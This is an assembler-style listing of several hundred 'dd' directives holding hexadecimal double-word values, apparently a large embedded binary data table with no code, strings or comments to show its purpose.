dd 1C671E20h, 62332494h, 466ADFEDh, 4C1625EFh, 6AD339CEh
dd 84F9E1D4h, 7F45E2E6h, 40D92860h, 184865F1h, 0CA24D963h
dd 0CF0A39C8h, 4FC09B2Bh, 432D353Dh, 9D535146h, 0A670E424h
dd 4E8C9296h, 0AA450B96h, 505B9521h, 0D305CAB0h, 0A3EC82E9h
dd 72E410DAh, 781C8089h, 85E73B65h, 0AE492950h, 22BE0D80h
dd 0B23110EBh, 6549EF52h, 0AF4A4E04h, 0CC433E57h, 872D177Dh
dd 6CDBD557h, 5D18B0EAh, 5A9A6EB3h, 0A1BAE5AEh, 42A4D8DCh
dd 0E505E26Ah, 1D8FF7D5h, 427EB30Fh, 0F40FD5B2h, 0F6E418D9h
dd 9F7DF6B4h, 0E037D1ADh, 449A8173h, 0F04263EAh, 717F3CACh
dd 5DD1C544h, 0AE4B5F53h, 4253C7DBh, 9CCB0C16h, 1F6E1E26h
dd 0E8D2B0C0h, 2650F36Dh, 27EF0F1Eh, 0D4457485h, 380C3699h
dd 23A63BABh, 6B6D84E8h, 0F3C8779Eh, 0F18F52A6h, 2EB32BFBh
dd 4B5CC4AAh, 0C2A6EFF2h, 26472BDEh, 97704668h, 1A730EBAh
dd 3A31A9FBh, 0DB2A963Ah, 9052ABB9h, 6AD73ACEh, 0CBE3C7C4h
dd 0F69E571Bh, 0FAB3BB30h, 51DB753Fh, 0A9E47822h, 8B801425h
dd 948954A0h, 962CBEC2h, 8A591558h, 0B45AE119h, 52C5CDC3h
dd 0EE3A1476h, 5B7E1EDAh, 2281E0C0h, 0AC7B936Ah, 286FF35Ah
dd 6607748Dh, 0E50CE3CAh, 2D459291h, 17BE0585h, 0ACB1B87h
dd 0DDCAD847h, 273C7DFBh, 448EC8BEh, 0C2A60F28h, 0EA5533D0h
dd 96108574h, 186CD502h, 2EE3EC86h, 0D92690D2h, 685BAB61h
dd 0E928A4F4h, 426AA80Dh, 0B450E1A7h, 0F6862404h, 9B3DE6B4h
dd 1B7C6240h, 0C6CE4367h, 20DD4F23h, 0B72FA3E9h, 0E4564444h
dd 3F152FEAh, 6BDAA683h, 183A04FFh, 92087C2Eh, 6E1AA04Ah
dd 97B8FA67h, 0FEE0FC34h, 6D17FF85h, 0E70EEB45h, 2BBD0289h
dd 4FBCDA75h, 18C1C77Ch, 7D410EE3h, 7C72B08Dh, 43440C22h
dd 0F22D0BDAh, 1E523BD0h, 0E589263Eh, 1A60CE22h, 6F322DDBh
dd 7E55D6B1h, 0E7175D29h, 0B3287610h, 36AA7294h, 0F5536BB2h
dd 7F6F5D30h, 0A77385F1h, 0A87D54ADh, 0A3598427h, 0BA89D4A8h
dd 97BADFF4h, 46C4EB32h, 0D7172D9Eh, 660B8E56h, 77794174h
dd 81909D73h, 2221895Ah, 0A46BB62Bh, 0E7ECB6DDh, 0A29ED3D9h
dd 35C06D34h, 156985B3h, 12BEDE45h, 9F8B1BFFh, 5841B9CDh
dd 0AF20B57Dh, 50C5436Bh, 0D7D14528h, 460FCD57h, 5D92BE1Dh
dd 99B46DD3h, 6FC624EBh, 0B9D21D9Ah, 6448A8ABh, 6CB12E4Eh
dd 81EFF3CEh, 0E32266E6h, 0D3B620F6h, 0D933765Fh, 37E58A2Eh
dd 408AC2FAh, 0D44A8BE0h, 705BB7B4h, 9601A2C2h, 0EC84E11Bh
dd 0DE3E89D4h, 1CA904DAh, 99FFD0ACh, 27597808h, 9804B7Dh
dd 0AF391FDCh, 0E0304316h, 0AE85E6FCh, 763A25BBh, 18635D18h
dd 38C1CF9Ch, 3EE1EE25h, 0F47314E5h, 0EB500583h, 0C40625EFh
dd 3E44A7FAh, 3B65C978h, 9548DD2Ch, 0A9E8F17Eh, 2C2D6944h
dd 907928E4h, 1F273DAEh, 0E6D85A4h, 0F75B17B7h, 0F3552030h
dd 0D921B53Dh, 0DB90BADEh, 364EAFFEh, 0C01DF9D6h, 6830DE64h
dd 0A8495746h, 9856F76Dh, 4DFA4217h, 89938DF3h, 33FEE1E7h
dd 63DA903Eh, 3BFFB2EEh, 6FE4F2BAh, 179201B4h, 86065E8Fh
dd 0BDC7C03Eh, 67214DEBh, 0F3C5D7FCh, 0DC6982Dh, 2F386C8Eh
dd 13C1496Ch, 22F8AA1h, 9D0FF400h, 1E9890CEh, 127865D3h
dd 9D525B86h, 0D12C55D8h, 120C3B12h, 0F9D4F288h, 37D9B86Fh
dd 307687D2h, 0F696E475h, 99334DB4h, 667CD1AFh, 304EC38Fh
dd 574FD821h, 1F6791DAh, 0EA42FD2Ch, 4F54E719h, 957B1D2Ch
dd 6F14083Bh, 0D7C91C2Bh, 0AA14D485h, 5A2B4A17h, 869B3BD0h
dd 0E217FEF5h, 90018DDh, 0E93A785Dh, 144B0E6Ch, 3D5D1DCh
dd 0EDDA986Ch, 3C3C7F7Dh, 43441754h, 0D4A00D6Ah, 93050DCEh
dd 0D691E849h, 0D271A2A8h, 0A64CAF6Eh, 61C5EA31h, 0EF0FA328h
dd 9FA6583Eh, 0E92B76C9h, 9F0B719h, 31476E10h, 9CE94DF1h
dd 25FE5126h, 8DC2D8FEh, 570FD450h, 89B4F02Dh, 941432B3h
dd 35A4D73h, 7E630D58h, 0AF895700h, 215699E3h, 6E732949h
dd 0D3850EACh, 660FC329h, 0AE83712h, 0C185E60Eh, 783C3EF3h
dd 5CB6B63Fh, 73B79593h, 0CDEE98ACh, 0A72C7FFDh, 904D53F8h
dd 8B6E84FFh, 1E546794h, 0D0955006h, 93F9A2A0h, 2D30A4ABh
dd 53089612h, 64E412AAh, 856B046h, 0C95EFE2Eh, 0F75F8E71h
dd 85CD5E4Eh, 1FB8569Ch, 294361D8h, 0E8734DB0h, 44CB9FA8h
dd 0FCC13EA1h, 0BBCBEC88h, 92E32D6Ah, 7148302Ch, 5C60E597h
dd 9EE81E37h, 23025F14h, 0DE4CBEF0h, 6CEDFF02h, 0E9633F16h
dd 28B59DEDh, 757143D7h
dd 0D11C6EBBh, 0C8B66312h, 0C5892C01h, 0BC443DF2h, 0C0B03F29h
dd 0F2A647D6h, 9546773Ah, 54EF8C7Fh, 0B1881B3Ch, 0CE44043Eh
dd 0DBDC1CBCh, 29855AECh, 646FF2BDh, 9E7F817Bh, 0F7A2379Ah
dd 0FA1D9B20h, 94BA5AE4h, 0AD59B5A5h, 0CA41E424h, 0AB3F1F2Dh
dd 9F024CA5h, 0F8997C8h, 150FAC79h, 8518B857h, 132EC4C8h
dd 0EF571C70h, 314E299Fh, 85539C0Ah, 0E0E8AEBBh, 0EEF77F8Dh
dd 0C100D2EBh, 71A9C320h, 17350C63h, 0E0CAEDF7h, 1E3DC469h
dd 0AC302D7Eh, 8ECD67DEh, 872EC9A9h, 1617D33Fh, 5BEEA49Dh
dd 907E8182h, 0E6B7240Eh, 52235679h, 0A57F2A1Dh, 0E18BFBC5h
dd 13FE6Fh, 0F7CFB9F2h, 0F1578C58h, 0DB92FBB4h, 849D312Eh
dd 4008C865h, 0C595136Ch, 0ECBB74F9h, 3269A840h, 520A493h
dd 20FAA6DBh, 172004FBh, 232A7D2Eh, 67C85FABh, 0C350E902h
dd 0F9F4637Fh, 7E876C87h, 92157174h, 6E38274Bh, 1F350EA4h
dd 0D49ECB84h, 3DCA30A2h, 29F702F7h, 0C04C8059h, 97530AAAh
dd 270FE1CAh, 5C595559h, 0D4F77F0Bh, 0A68E4D16h, 8070099Bh
dd 6E11630Dh, 0E9EF7ECEh, 38C0F883h, 0D447EBB6h, 0F2041844h
dd 0DD8295DEh, 487DC12Eh, 3848A860h, 0C8C0536Ch, 0B1F1BEACh
dd 0A6240B2Fh, 0E6DA65B7h, 0C6DA4A57h, 9B7105E3h, 729F8569h
dd 0E430245Fh, 0A60B799Ah, 98A134F2h, 0EF17FCC9h, 0C9857F71h
dd 1104407Ah, 0ECCAF47Bh, 4539162Fh, 0E64AD8ADh, 0D3397F7Dh
dd 0B8C553E0h, 8A2E91ECh, 9E4FD045h, 0B219B98Dh, 188290E8h
dd 0A48CCD14h, 5213D6E3h, 0E0DF58E9h, 13F47680h, 1EBF38ADh
dd 8617B8C9h, 7EE66EF8h, 146965F1h, 0D14E6EA3h, 9E720188h
dd 2524166Ah, 0DADC3228h, 0DD1CEB3Ch, 65A5ACCAh, 2D44ADA7h
dd 65A82007h, 976F1DF7h, 34D0A79Bh, 507D92h, 951CE102h
dd 2892E2CBh, 8E0EEBE8h, 0EFCF48Ah, 0F4DA8E1Dh, 0CA4040E8h
dd 0B5F3D14Eh, 84DB868Ah, 3CD3BB5Bh, 0C2A145B4h, 9D51C73Eh
dd 0AF1D40D4h, 41C4DD32h, 2A7EC1C5h, 0AD28C6BBh, 1194E56h
dd 1A39F845h, 0DC7170D4h, 0FC5E74A2h, 0F3BB8B60h, 0BAA473Dh
dd 0EA07DA39h, 0FCCD90B7h, 0F37C5AA3h, 24BF27A7h, 5DB244D1h
dd 0AB2E59F3h, 51238FA9h, 8DA14102h, 0B97B9692h, 21B85896h
dd 2F09936Dh, 6B1865E9h, 195279DDh, 0CD718413h, 8B3A9D1Fh
dd 0D541EB10h, 2639A2F5h, 11224CD4h, 6BCEF4A0h, 4042A4BCh
dd 0C20B845h, 0FE60D0D5h, 0A27382B6h, 6E958CFAh, 60859925h
dd 0D154D9D1h, 0B8BB368Bh, 0E687ACE1h, 0CAAFD00Fh, 7A0F20F5h
dd 0A3F5AC74h, 0BCD201C0h, 0F4CE212Ah, 0F6374C03h, 7C18094Ch
dd 18C3487Ch, 4ABA08C6h, 40C02789h, 101849C3h, 419C2F39h
dd 0DC10C8DDh, 0F3D2FD1Fh, 2939D51h, 586CABF0h, 0DB1FF9D2h
dd 269E8884h, 2D597ABAh, 0F611339Ah, 0D6332F73h, 0B560B569h
dd 9A2149FFh, 0C1452EFBh, 47C34133h, 0D1CDDB48h, 5D805A69h
dd 6E6DBCABh, 0CD4C6435h, 51761326h, 7AD62270h, 0E8BBE715h
dd 3C086D4h, 9ECDC0Fh, 2900B4F4h, 0C56C9DE7h, 764FD126h
dd 4B1D7686h, 1CCCD264h, 5E3D37A7h, 4C9CA84Ah, 0E60AA487h
dd 810CAABDh, 0FA975731h, 1FA45931h, 387C4F17h, 0E5D987E7h
dd 0D7D8750Ch, 0CB16F1C9h, 1801FA88h, 0A5B9E51Ah, 603D4EDDh
dd 4120EE88h, 6BF58122h, 59308C3Bh, 483A28C6h, 0ED072A47h
dd 0CBE9D097h, 0DEDD949Ah, 0E4AD27C8h, 296CEAA3h, 21432FC9h
dd 95432815h, 0E72B6486h, 3FF0946Ch, 0CB9A7C0Dh, 0FE7EE43Ch
dd 0D97981C0h, 8E3282D0h, 0B50B0402h, 0EE0ECFAAh, 0CD3D4BC0h
dd 4D7F202Fh, 48EB5B7Ah, 854ABFB9h, 218C8D38h, 9D9E8229h
dd 0AF41A635h, 0DC915186h, 5BDEA7B1h, 332F144Dh, 5B44AF66h
dd 2943200Dh, 3ABE13D0h, 0E3F58315h, 3E76F689h, 593542DCh
dd 0D0412DB6h, 8721DD45h, 19F50596h, 0A24709E3h, 6E4D5C44h
dd 44D45ECAh, 513210D1h, 0BDBB40A9h, 6C9990BAh, 0B5EC5247h
dd 33F7AEA2h, 798B738h, 0D9616036h, 7476E121h, 0D2842E62h
dd 457218BEh, 9AC1C8B7h, 87B311E6h, 8B16AB00h, 0BE044FBCh
dd 78B58C01h, 0A53A975Ah, 67B52B57h, 0A7C3569Fh, 5C136E20h
dd 2D40D123h, 0B57A3301h, 60B3864Fh, 5876355Ah, 1C39F675h
dd 35F5ABBDh, 53C1D4D3h, 1F482067h, 6B8F071Fh, 4668FDC5h
dd 55183BF6h, 9EB2DAF8h, 0A4C0278Fh, 55157127h, 815130E0h
dd 0F18384DAh, 5CEC0A0Dh, 0D1FDA2F7h, 8394AB39h, 9A67BDABh
dd 0CD32E026h, 4ED8F0FFh, 2045E049h, 0D7CA6CDCh, 35A7EFF9h
dd 8FEB2017h, 5A68604Ch, 3D10647h, 5AF46DBDh, 476CD367h
dd 0FFDC8CCFh, 0E291A078h, 0D3E8CA3Ah, 0A77A8EFCh, 22D4E4E1h
dd 0A0C82849h, 0EFD0D136h, 0B4ED225Fh, 73E6CAA1h, 4983E9D2h
dd 821D9A98h, 1D2F2411h, 99A07A7Eh, 687DCDCFh, 0E1EED861h
dd 0F51D5F92h, 5E6DD7F1h, 0C6C36744h, 78EA5282h, 517FE8A5h
dd 17B5F4A2h, 2A914760h, 3C78017Ch, 9107AB3Ch, 0DA7287BBh
dd 7FFF5F4Eh, 0B866C8E2h, 1A0624DAh, 65FE5F4Ch, 2A31514h
dd 0A0E44C8Dh, 0D329E8F1h, 547B6012h, 6764D983h, 2C3F6EC4h
dd 9D3A26B6h, 0E8DE0502h, 0BB3FDBD6h, 831942CCh, 911DE992h
dd 7C86AD7Dh, 0B8605D51h, 0F9E5A5BCh, 0FA4C3261h, 72B0F465h
dd 5062A7DFh, 0BF102991h, 9F284D0Ch, 968AE2F8h, 0FE29F12Bh
dd 55F95BA5h, 34662806h, 5AAAACB8h, 8ECDC943h, 4D6B8860h
dd 7F8C4BD2h, 56A9599h, 0D3BF722Dh, 0C0A41368h, 42475215h
dd 996BCCD0h, 7539B10Dh, 547BD3F2h, 0D4429D22h, 1264FFD5h
dd 146E5C4Ch, 0F46B0BC6h, 5BFF770Dh, 3E4A3A1Dh, 0B619F6B8h
dd 26E0C52Ch, 6A5E65EAh, 0E8C88A0Fh, 4F075CB9h, 9B11DA94h
dd 967AF4F5h, 2F12B2ABh, 0B487EB50h, 0DBEFC779h, 0B15E133Dh
dd 0AACA0140h, 0B6C2AEB4h, 1620D380h, 0FDB8D032h, 0D73930B1h
dd 2219DADBh, 0CF07A10Ch, 0DAD7FB53h, 0E976FCF5h, 0A5FFA3BAh
dd 0C9664996h, 0D01E8CA7h, 0D6C7071Ah, 0F9B57D73h, 74F8271Ah
dd 10540D19h, 0DA1B46DAh, 1FE5B5B6h, 85ED9813h, 0C9F2BDA2h
dd 645DD05h, 24F470B2h, 0FB11A169h, 0D36F423Fh, 0DAF48B7Eh
dd 0D68B582Ah, 0D3E258B1h, 0E295E868h, 0E66F2EF2h, 37430C1Ch
dd 65FAF4B1h, 34D53A59h, 97226860h, 0F4C5EABFh, 96803497h
dd 0FA68CE06h, 365A64A0h, 6DA35A5Fh, 6F40DE6Bh, 31A74BCBh
dd 92CDD012h, 0FDC43E38h, 0ADF441FEh, 7AE75486h, 81FB96CBh
dd 0E5103C46h, 8FD48B80h, 359BF8CCh, 11CAF823h, 186E175Ah
dd 9E9289E8h, 4FFAAF5Ah, 0D1D707A5h, 3CCB400Ch, 533BCD84h
dd 0E96E9C23h, 4B373928h, 4505D6B7h, 421828AEh, 0DD98E1A6h
dd 346BCEF3h, 4965677Eh, 7AAC6B4Fh, 0CE7BAF04h, 0B7F30861h
dd 8F172E9Ah, 95958450h, 37B23310h, 1F6DDE68h, 7E4EAF3Ch
dd 3A485E8Ch, 0FB847F2Bh, 0C20C7E5Ah, 5D47CF8Ah, 0C2B6FE3Fh
dd 390A892Ah, 7A625710h, 9D81B18Eh, 14FBDF8Dh, 7474CC0Fh
dd 52AF7E6Ah, 7E6A9AC4h, 0E7EA72F5h, 7B9171D3h, 9B56D2FBh
dd 34693B81h, 4C163594h, 0E08B6353h, 705BB2C2h, 4D62D3F8h
dd 72D48AC2h, 70426A85h, 0B2E4EB4Eh, 30A20217h, 0B01D865Ch
dd 0EB8CA0F0h, 0C4999780h, 6409002Ah, 0E84E2241h, 0B06CC8Fh
dd 0F0F05B67h, 8226BB47h, 7C80F309h, 40E71733h, 3FD9A1BBh
dd 50817C7Bh, 0BF67EDEFh, 829B2B5Fh, 261029B4h, 5E0531FAh
dd 0C4EC7F75h, 0FCF5E7E4h, 7086B6E0h, 0F6F3684Dh, 0C33D99F8h
dd 0EB396FDFh, 57D3A6F0h
dd 25E43D29h, 45EE2A69h, 0D3711563h, 0DB285677h, 20B0DB3h
dd 0E47B68C4h, 594C125Eh, 0AD9DEFF1h, 0BF6E6269h, 0FD6779A2h
dd 11BB128Ah, 0F4981BFBh, 0F437EB7Eh, 1097D7C2h, 0B9DE475Eh
dd 100C9282h, 7DCC2DD3h, 8492C5C3h, 2EF35688h, 2C7354A9h
dd 0E0696026h, 40A3666Fh, 84E514A9h, 25BB8312h, 8B4CB07h
dd 0BFCA87C0h, 1FFC144Ah, 2C0D5CD5h, 0B244D24Ch, 304519ECh
dd 22340FBh, 6E0DA63Eh, 0C561E410h, 86F1FA7Bh, 0C8AD6C8h
dd 7C02B2B2h, 6DCFD6C7h, 0D0FF79C4h, 8CC96C89h, 5A22CF6h
dd 2D170513h, 0F8008BDEh, 6B726183h, 7C99813Dh, 20CF766Dh
dd 9695C84Ah, 0FA5C2355h, 87F69C0Eh, 454850C0h, 7C3FD431h
dd 12271703h, 0A1372F11h, 5F81B88Bh, 0FC2A7764h, 714F4D2Ah
dd 94651AC2h, 0EEDED272h, 0E7836789h, 0CC77E382h, 5991A6A5h
dd 1EDAFEC1h, 0C3632560h, 0D227AB50h, 2BA0D2BCh, 507C35F1h
dd 5AF0FA51h, 0A3EA16AFh, 0C6398266h, 0D21ED44Ah, 0AF67170Bh
dd 2398E974h, 1321524Bh, 936E2BB4h, 93808209h, 0DF6675C7h
dd 0E543FAF4h, 7917B997h, 1CFEA87Ch, 0CD19BAA7h, 0C661BD19h
dd 0A61A30F2h, 7D11BB20h, 290964A9h, 4BEB8625h, 74063DDBh
dd 0DCB7432Bh, 0AD2B8BD7h, 8EB0FCC2h, 2D80914Ch, 54F93F8Dh
dd 0F2778C0Fh, 0B6164769h, 0C9AA112Fh, 484C4465h, 0FAA7A727h
dd 68759C2h, 0DA24792Eh, 95CB8EA6h, 0AB9D1685h, 0BA57F6B7h
dd 1D94C07Eh, 5D453DB3h, 0A7429A19h, 9BD48C81h, 0F027BE38h
dd 107D139Ah, 0F9723183h, 54988358h, 47A8E87Dh, 6B0FE5F7h
dd 475E3526h, 407AD993h, 0BE6FEBAh, 3920BC61h, 1267569Fh
dd 0B7AA4951h, 0A6D1A3D6h, 545CB6ECh, 815F4D8Fh, 0E19BCECEh
dd 4C7F4D0Dh, 44DE9BC8h, 82024A8Ah, 1A785A5Eh, 0FEB9C55Bh
dd 0C34799EFh, 0C4A8D7BFh, 0B8F70906h, 60396CF7h, 0EE24205Dh
dd 4CE9DECh, 0F7A2BC3Ah, 55219C3Eh, 574DB229h, 3F0D69F0h
dd 0E12056F2h, 0F02FBCEEh, 11C0ADA2h, 7A0EEDFEh, 758FE896h
dd 1C8B5185h, 0A8CFC6C7h, 3AD33366h, 0BF4C1271h, 36A6E87Bh
dd 0FEE8B3AFh, 51801E87h, 2373A3A5h, 0B8C1853h, 0EF28349Bh
dd 834F48C2h, 5BED04Ah, 527F5FF9h, 75D25783h, 6411B874h
dd 0CAE062DEh, 0B7FE04C9h, 0BEC4E59Dh, 0E15ABAAh, 0F001A69Ch
dd 75407972h, 8DB598EAh, 437D623Ch, 44877B6h, 589D5B3Bh
dd 57E77388h, 38426685h, 0DBDB774Fh, 9F685318h, 0C8C98618h
dd 0A18D316Ch, 74DE6044h, 0B98AB623h, 0E6CA805Fh, 6FD1142Dh
dd 0A3867CFAh, 0D520E863h, 250B31D4h, 57601F26h, 23DF9A5Dh
dd 8A86A403h, 418BA9AAh, 3091D2D6h, 3DAB8B87h, 0BA8CE00Eh
dd 2119A275h, 0C76854C7h, 108FE9E0h, 66C08E0Fh, 9B7A9495h
dd 0C4DCA23Ch, 0FFC5352h, 0E24BD7C1h, 7ECCB8CCh, 0C2659D23h
dd 0C82E39B6h, 40211E7Ch, 0DD733F4Fh, 0E4C970C0h, 19E0600Eh
dd 7DEBFFADh, 34DCEC89h, 4A06B5BFh, 91EE4221h, 0FBD92DF7h
dd 0EB85D9E3h, 23A8E1D5h, 8F849D09h, 0C7F5A850h, 0A962C79Ch
dd 0C004C954h, 0AA2954F1h, 18889C96h, 7EE6EEBBh, 0F2CE945Dh
dd 60E37199h, 5689E44Eh, 0EC5DAB45h, 171C4C22h, 1268676Ch
dd 173B07C0h, 8ECDE5A7h, 5545209Ah, 860A0C15h, 0E4BFB51Fh
dd 2F876F66h, 0D8F6CB54h, 0BB4BB02Eh, 5B97866Eh, 92A6B54Dh
dd 53573E0Dh, 1930AA81h, 61E803BDh, 0F1529FA5h, 2E20AE78h
dd 9C733A4Eh, 3B2F1781h, 6A86D5FFh, 0D1D162D6h, 47581207h
dd 962EBACh, 856AC744h, 0E926DA3Ah, 70E3F1CEh, 5C14A4C2h
dd 0EA2A62EFh, 0F54F496Eh, 0B11243C0h, 4C34D007h, 0D1554745h
dd 8EB9F5F6h, 56F032Ch, 954777C2h, 921A259Eh, 9DF1FD1Bh
dd 0F8F05983h, 2596BF09h, 3367AA1Eh, 8057166Bh, 0F8AAB875h
dd 0AD680AAh, 5777B793h, 3AF6290Eh, 1F00F64Eh, 6DE8D7ADh
dd 0F4C48DE5h, 36FB990Ah, 0FCDF2019h, 7BD438F7h, 97DE58B2h
dd 0BFAF4C4Eh, 0CC13EFA9h, 8D6E47A6h, 82A838F3h, 0EABA927Ch
dd 0A955D639h, 0BB674416h, 0A0AB5A2Fh, 0E91D4A2h, 0E5169BB7h
dd 0B100BAFDh, 0C0EE5305h, 9B2DE702h, 26D16BAFh, 7EFA868Eh
dd 0CB1C92D4h, 811EB3F6h, 0F3BBD296h, 67C9F4F0h, 76A1FBE5h
dd 0D622CDC8h, 0BD77E435h, 0D7D4C6Fh, 5E37CC4h, 4E86406Dh
dd 9A2464F5h, 0AF6B8263h, 10A01A0Dh, 15670C9Fh, 4411E359h
dd 2C83C34Fh, 0E0158D38h, 0B9CF3B18h, 0A4FAA10Bh, 8BD330EEh
dd 7D6B34F7h, 0BA2839EEh, 0C0B09B41h, 5B7BCF07h, 0F1287F9Ah
dd 594AE5E2h, 0DAF64A60h, 0A009B1DEh, 0DA0CCEFCh, 4F3D9707h
dd 1368C76Ch, 40A09A0Ah, 9EA410BEh, 0AE02283h, 5FF07DCEh
dd 254C6BC9h, 0C1F329C9h, 0D1BE5D63h, 0DC6854F7h, 9D98D4DFh
dd 0DF8F7EC6h, 0B09F78C0h, 0E210A6D7h, 595FC3ACh, 19A5222Fh
dd 0BD9A53FAh, 0B7926E8Fh, 0DD3446Bh, 0E35756DDh, 3C83705Bh
dd 0A41199EDh, 8BDB33CDh, 7D5B32EFh, 488D0896h, 5694977Dh
dd 3E4661D7h, 0AAF6C865h, 4E374F11h, 7EEE9C4Bh, 70D3A9CBh
dd 3CF0AF45h, 0A76C1C51h, 3C946665h, 0F86407CEh, 0B66AE165h
dd 88892009h, 0C561B49h, 92583D29h, 7CF470DAh, 8C1B14D3h
dd 34BFD002h, 66693D07h, 30875C73h, 763715B9h, 305CBACCh
dd 0D773F702h, 0ECDC115Eh, 0AE71DD5Dh, 4262E87h, 3BDAAD88h
dd 8353CDB0h, 0C552F1C4h, 0A6215EECh, 8386BC4Ch, 971ACB02h
dd 862C67F3h, 6074BB04h, 4A816E8Fh, 0A3A318EFh, 0CB4B4CD6h
dd 0E8D1120Eh, 80BEA9FAh, 0A29E5374h, 0E05C387Ah, 5EA44B93h
dd 1E72D0FBh, 0B8C72F7h, 6C531701h, 4D434982h, 6EDF6D8Dh
dd 6A4CFB21h, 4E8376B3h, 0C7A84901h, 7B14B1B7h, 56F9394Fh
dd 4A234889h, 19A1CF0Fh, 382674D7h, 0EB8996DCh, 0E4FC0157h
dd 0B28D23F5h, 0B5595831h, 0FB505518h, 0B7B3F299h, 47A09BABh
dd 0FE0E7EFAh, 0E8982790h, 0EDC44D13h, 79B30791h, 0F8A7FDBh
dd 0B0E00367h, 3E98EDD4h, 9C9890A1h, 3C87EE8h, 33C25300h
dd 0E764C04Bh, 0DB6FAD0Fh, 92EB4846h, 0C4DF78C4h, 55DEA7Ah
dd 84E5B80h, 495C40B9h, 3DC3794Ch, 88922377h, 0CC0C5DAEh
dd 0E231E37Eh, 0B678284Fh, 4507FF30h, 6DE8B28Fh, 4963CB94h
dd 0D0DC315Ch, 0DE71F1B2h, 0D10EE017h, 1C95632Ah, 0DB44570Fh
dd 5C1177D2h, 40CBDEEAh, 0C358FA70h, 0A03B011Dh, 0D4BA5D6h
dd 0D16E5081h, 3F1F6DCCh, 0ADE56AE3h, 0A5C2CA0Bh, 6A444F96h
dd 1DC93686h, 0B97B6BDCh, 6F1D01A0h, 0FD835F37h, 1A52EFDDh
dd 4136DC02h, 0D59AAA48h, 9CC9E86h, 296CBA68h, 0FB001909h
dd 1C3E6866h, 136BB4A5h, 0C3D58B38h, 229BE70Ah, 3543A88Ah
dd 256AEF41h, 0CF8BEC51h, 0FD26A3DBh, 1364AF51h, 0F15ADABDh
dd 0AD34B68Eh, 0AEFD2E02h, 3D47B184h, 891DDEACh, 83391C06h
dd 115C458Ch, 477B46A8h, 0AE0FCD78h, 0A3823E86h, 57B05960h
dd 0A4E08DABh, 3BECF036h, 3DCABA84h, 0B4E2EA4Eh, 0FB270C8Eh
dd 1EF42802h, 0DBC80AA1h, 0CCDADF76h, 0CB50EE91h, 8C221DF7h
dd 0A5034049h, 0B7978F5Ch, 0EDB1104h, 1FF7C7BDh, 60C05C45h
dd 66EECABFh, 4453AA68h, 0A5EED1E4h, 0B39CE88Ch, 0FD66D3D8h
dd 2E4672CAh, 593D2F6Dh, 0F5552B97h, 2EC8D192h, 86C00C49h
dd 0B769C9Ah, 0C6AFDA7Bh, 7F24246Ah, 83E80DDDh, 25B39448h
dd 0AEC429F5h, 0AC7081E0h, 2C99B483h, 0D22C2944h, 0B90F49DAh
dd 0DDA7304h, 8C0B9CCh, 0F07BC2E9h, 820CC55Ah, 0CCED998Bh
dd 0B4DEE97h, 0B64FFB37h
dd 6BEDD3D4h, 122998CDh, 0F160F5E0h, 530FFE75h, 0A6F90B32h
dd 0FCF9E91Ah, 784F9427h, 9961AA71h, 0CB161051h, 33EC3DBh
dd 3E6E6DC9h, 7781AA66h, 8DDCCCABh, 1739216Bh, 0D4DEB6D0h
dd 0B7AFDB8h, 3C21B857h, 475EAD79h, 84D4E7A7h, 71F83274h
dd 4FD1A7AFh, 0C52B26D9h, 2AF0ED6Eh, 1867D8C3h, 0C807412Bh
dd 496976A2h, 6F1867E9h, 0DB559A6Ah, 9C9F4F53h, 997E198Ch
dd 0C679A416h, 4BAF1098h, 2C9AD4B5h, 70797379h, 0E1BE74E7h
dd 3A7BE662h, 39EBD3DAh, 70035194h, 991E7368h, 2AA4F812h
dd 0F1F4C86Bh, 0BACAB630h, 0A96C7D4h, 0D5D80096h, 0CA1EF43Dh
dd 0E8A5D968h, 0B3FF3D5Dh, 0CB937FFEh, 3B12D17Fh, 2C76337h
dd 0E271731Ch, 0C4B0C638h, 0C3C72FEFh, 0C8EF18h, 78278A93h
dd 51E4CAF3h, 4062E68Fh, 50883743h, 0B0D8411Bh, 4741C762h
dd 0F5194750h, 9329898Dh, 3BBA7AE0h, 829C1D95h, 613C819Ch
dd 73EC9897h, 3142E420h, 6036F201h, 21DDA129h, 0CEC34E96h
dd 94AFC50Fh, 34A4E41Ah, 5FDF759Bh, 189A1E55h, 1285521Dh
dd 353C6817h, 35027AA1h, 532F51D5h, 765A3168h, 93E18B51h
dd 0FE8F2CEEh, 0BAB27C90h, 0EB8F1E0h, 6121480Eh, 0CF767B23h
dd 5C6AB2h, 59D06993h, 13E0C83Fh, 1610DFAh, 94EA6F43h
dd 18980501h, 1DBEA503h, 985444E3h, 70B1928Eh, 0CCFE99h
dd 0A93B743Ch, 8D847860h, 32CA60A1h, 6262DC44h, 6ECBBB3Fh
dd 6090B071h, 54A69B54h, 0BE73A2B6h, 0DAE15FB8h, 74937DFFh
dd 109B5A93h, 0B5DA7754h, 0BC03D124h, 0C9B6CDDh, 7A1504E1h
dd 0E16D446Eh, 0A75337FAh, 6FD2816Bh, 5F3AB324h, 0F221C783h
dd 0ADB4D6D2h, 3B435BD6h, 8BAA3C5Fh, 5BC18FD6h, 0DD914541h
dd 0AA0BEDDFh, 80CA9B06h, 28583503h, 93541761h, 921CFE1Eh
dd 9F7C65CAh, 0BF0728B8h, 34B348EAh, 4A71B459h, 0D5780F2Bh
dd 0F44592A2h, 21A2F04Ch, 4D9DC907h, 2C79FA91h, 0DF0B5831h
dd 0DC27AF60h, 2026AB02h, 98DECF98h, 0C513D218h, 0F77FE96Ah
dd 0B5576C15h, 57154598h, 0E7817BB2h, 4E65DFB4h, 731320BBh
dd 0C892383h, 0F1BB5FC1h, 0D7381C4Eh, 57C6F2DEh, 30EDBDBFh
dd 0BA37265Bh, 0EEAA3C0Eh, 4549F5CAh, 0C8646C0Dh, 0C302F6Dh
dd 253D9DE9h, 1AA887D1h, 0D98329B8h, 0AFB6EE9Dh, 553A2C06h
dd 0E13A48B3h, 0B528371Fh, 1A4ADC45h, 0E84E32C7h, 34E929CAh
dd 0AE8655EDh, 54F7E0BFh, 35E1513Dh, 2026E345h, 209B7EB0h
dd 0D5DAA6D6h, 0C608C434h, 560E26F8h, 648705EAh, 37C4C0Eh
dd 49F6CFF6h, 0E5CEA924h, 65E1A6DDh, 0EBBB1D0h, 0A07B65EDh
dd 0C1494956h, 31430E3Fh, 8DFF77ABh, 9F91498Bh, 0E73C210Fh
dd 29CEA274h, 0F19E65A3h, 3EFFE9E8h, 0D5642A1Fh, 0F37D9980h
dd 24FE23BEh, 8F79E769h, 34607870h, 0F85F14BDh, 746598D2h
dd 21E2F011h, 0CC88C09Dh, 9EC05DD9h, 0BD37A470h, 0E9522AB5h
dd 0EDE82327h, 0C4CEFD3Ch, 4EEE231Ch, 18FE6CE0h, 8FAC9BD4h
